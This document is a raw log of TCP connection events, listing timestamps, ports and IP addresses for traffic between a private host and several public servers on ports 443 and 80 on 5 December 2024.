Dec 5, 2024 22:16:33.718233109 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.718306065 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.718492985 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.718508959 CET	443	49771	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.718664885 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.718664885 CET	49771	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.719017029 CET	49772	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.719036102 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.719110012 CET	49772	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.719455957 CET	49772	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:33.719469070 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:33.757734060 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.803333044 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.805896044 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.808171034 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.808182001 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.810409069 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.812577963 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.812586069 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.820771933 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.820842981 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.820849895 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.824573040 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.830251932 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.830260038 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.830331087 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.830342054 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.830614090 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.839601040 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.839608908 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.839672089 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.848340988 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.848366022 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.848426104 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.852965117 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.853030920 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.861668110 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.861730099 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.870332956 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.870389938 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.879221916 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.879287004 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.883743048 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.883797884 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:33.995774984 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:33.995951891 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.001075029 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.001148939 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.007788897 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.007859945 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.014498949 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.014554977 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.017941952 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.018004894 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.024415016 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.024471045 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.030931950 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.030987024 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.037473917 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.037534952 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.040828943 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.040895939 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.047355890 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.047425985 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.050749063 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.050815105 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.057269096 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.057333946 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.063780069 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.063844919 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.067076921 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.067136049 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.067142010 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.067166090 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.067188978 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.067225933 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.067230940 CET	443	49770	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.067248106 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.067271948 CET	49770	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.070441961 CET	49773	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:34.070477962 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:34.070547104 CET	49773	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:34.071155071 CET	49773	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:34.071167946 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:34.745594978 CET	49774	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.745630026 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.745744944 CET	49774	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.745954037 CET	49774	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:34.745973110 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:34.930917025 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:34.931364059 CET	49772	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:34.931385994 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:34.931751966 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:34.932064056 CET	49772	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:34.932133913 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:34.932189941 CET	49772	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:34.975332975 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:35.281050920 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:35.295063019 CET	49773	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:35.295084000 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:35.295522928 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:35.295903921 CET	49773	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:35.295965910 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:35.296065092 CET	49773	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:35.339340925 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:35.392961979 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:35.393130064 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:35.393183947 CET	49772	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:35.403763056 CET	49772	443	192.168.2.4	35.190.80.1
Dec 5, 2024 22:16:35.403778076 CET	443	49772	35.190.80.1	192.168.2.4
Dec 5, 2024 22:16:35.735119104 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:35.735188961 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:35.735332012 CET	49773	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:35.735775948 CET	49773	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:35.735793114 CET	443	49773	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:35.972424030 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:35.972820997 CET	49774	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:35.972841978 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:35.973193884 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:35.973778963 CET	49774	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:35.973879099 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:35.973959923 CET	49774	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:36.019332886 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:36.425007105 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:36.425110102 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:36.425178051 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:36.425275087 CET	49774	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:36.425275087 CET	49774	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:36.426100969 CET	49774	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:36.426115990 CET	443	49774	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:36.686587095 CET	49775	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:36.686609983 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:36.686719894 CET	49775	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:36.686916113 CET	49775	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:36.686928034 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:37.899281979 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:37.902028084 CET	49775	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:37.902045012 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:37.902400970 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:37.910726070 CET	49775	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:37.910793066 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:37.912246943 CET	49775	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:37.959327936 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:38.344341040 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:38.344407082 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:38.344463110 CET	49775	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:38.345426083 CET	49775	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:38.345434904 CET	443	49775	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:38.353728056 CET	49776	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:38.353771925 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:38.353837013 CET	49776	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:38.354037046 CET	49776	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:38.354051113 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:38.391905069 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:38.391937971 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:38.392021894 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:38.392278910 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:38.392292976 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:39.207761049 CET	80	49745	3.5.128.104	192.168.2.4
Dec 5, 2024 22:16:39.207845926 CET	49745	80	192.168.2.4	3.5.128.104
Dec 5, 2024 22:16:39.565718889 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:39.566004038 CET	49776	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:39.566015959 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:39.566328049 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:39.566659927 CET	49776	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:39.566715956 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:39.566787004 CET	49776	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:39.602623940 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:39.602895021 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:39.602919102 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:39.603280067 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:39.603615046 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:39.603678942 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:39.603756905 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:39.603835106 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:39.603868961 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:39.603925943 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:39.603935003 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:39.603985071 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:39.604058027 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:39.607326031 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:40.020606041 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:40.021169901 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:40.021326065 CET	49776	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:40.021640062 CET	49776	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:40.021665096 CET	443	49776	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:40.023895025 CET	49745	80	192.168.2.4	3.5.128.104
Dec 5, 2024 22:16:40.143558025 CET	80	49745	3.5.128.104	192.168.2.4
Dec 5, 2024 22:16:40.283737898 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.283795118 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.283837080 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.283869982 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.283896923 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.283935070 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.283936024 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.283961058 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.284008980 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.285975933 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.294462919 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.294516087 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.294524908 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.302834988 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.302978039 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.302985907 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.348732948 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.403558016 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.454847097 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.475661039 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.479305983 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.479465961 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.479475021 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.488315105 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.488379002 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.488388062 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.488398075 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.488440990 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.495814085 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.503309011 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.503415108 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:40.503467083 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.503690958 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.503690958 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.523709059 CET	49778	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:40.523737907 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:40.523895979 CET	49778	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:40.524044037 CET	49778	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:40.524055958 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:40.812139034 CET	49777	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:40.812156916 CET	443	49777	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:41.734884024 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:41.735215902 CET	49778	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:41.735229969 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:41.735579014 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:41.735958099 CET	49778	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:41.736023903 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:41.736089945 CET	49778	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:41.779329062 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:42.188271046 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:42.188354969 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:42.188441038 CET	49778	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:42.189367056 CET	49778	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:42.189390898 CET	443	49778	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:46.252464056 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:46.252496958 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:46.252568007 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:46.252825975 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:46.252840042 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:47.463591099 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:47.463906050 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:47.463926077 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:47.464313030 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:47.464641094 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:47.464709044 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:47.464778900 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:47.464843988 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:47.464881897 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:47.464972019 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:47.465008020 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:48.202991962 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:48.203069925 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:48.203107119 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:48.203135967 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:48.203135014 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:48.203190088 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:48.203226089 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:48.203275919 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:48.203342915 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:48.205082893 CET	49779	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:48.205099106 CET	443	49779	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:48.216331005 CET	49780	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:48.216381073 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:48.216466904 CET	49780	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:48.216676950 CET	49780	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:48.216691971 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:48.615688086 CET	49781	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:48.615720987 CET	443	49781	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:48.615799904 CET	49781	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:48.616137981 CET	49781	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:48.616153955 CET	443	49781	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:48.908384085 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:48.908436060 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:48.908493996 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:48.908859015 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:48.908869982 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:49.425827980 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:49.430002928 CET	49780	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:49.430018902 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:49.430393934 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:49.437016964 CET	49780	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:49.437082052 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:49.437180042 CET	49780	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:49.479330063 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:49.826544046 CET	443	49781	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:49.826941967 CET	49781	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:49.826968908 CET	443	49781	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:49.827989101 CET	443	49781	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:49.828051090 CET	49781	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:49.828407049 CET	49781	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:49.828427076 CET	49781	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:49.828469038 CET	443	49781	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:49.828495026 CET	49781	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:49.828519106 CET	49781	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:49.828867912 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:49.828888893 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:49.828947067 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:49.829139948 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:49.829152107 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:49.873316050 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:49.873423100 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:49.873480082 CET	49780	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:49.874600887 CET	49780	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:49.874617100 CET	443	49780	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:50.516186953 CET	49741	443	192.168.2.4	151.101.2.114
Dec 5, 2024 22:16:50.516205072 CET	443	49741	151.101.2.114	192.168.2.4
Dec 5, 2024 22:16:50.677911997 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:50.677999973 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:50.681433916 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:50.681443930 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:50.681683064 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:50.689120054 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:50.731322050 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.069328070 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:51.069613934 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:51.069632053 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:51.070645094 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:51.070698023 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:51.072190046 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:51.072252035 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:51.072926044 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:51.072933912 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:51.125360012 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:51.169903994 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.169925928 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.169940948 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.169986963 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.170002937 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.170016050 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.170042038 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.349723101 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.349750042 CET	443	49782	13.107.246.63	192.168.2.4
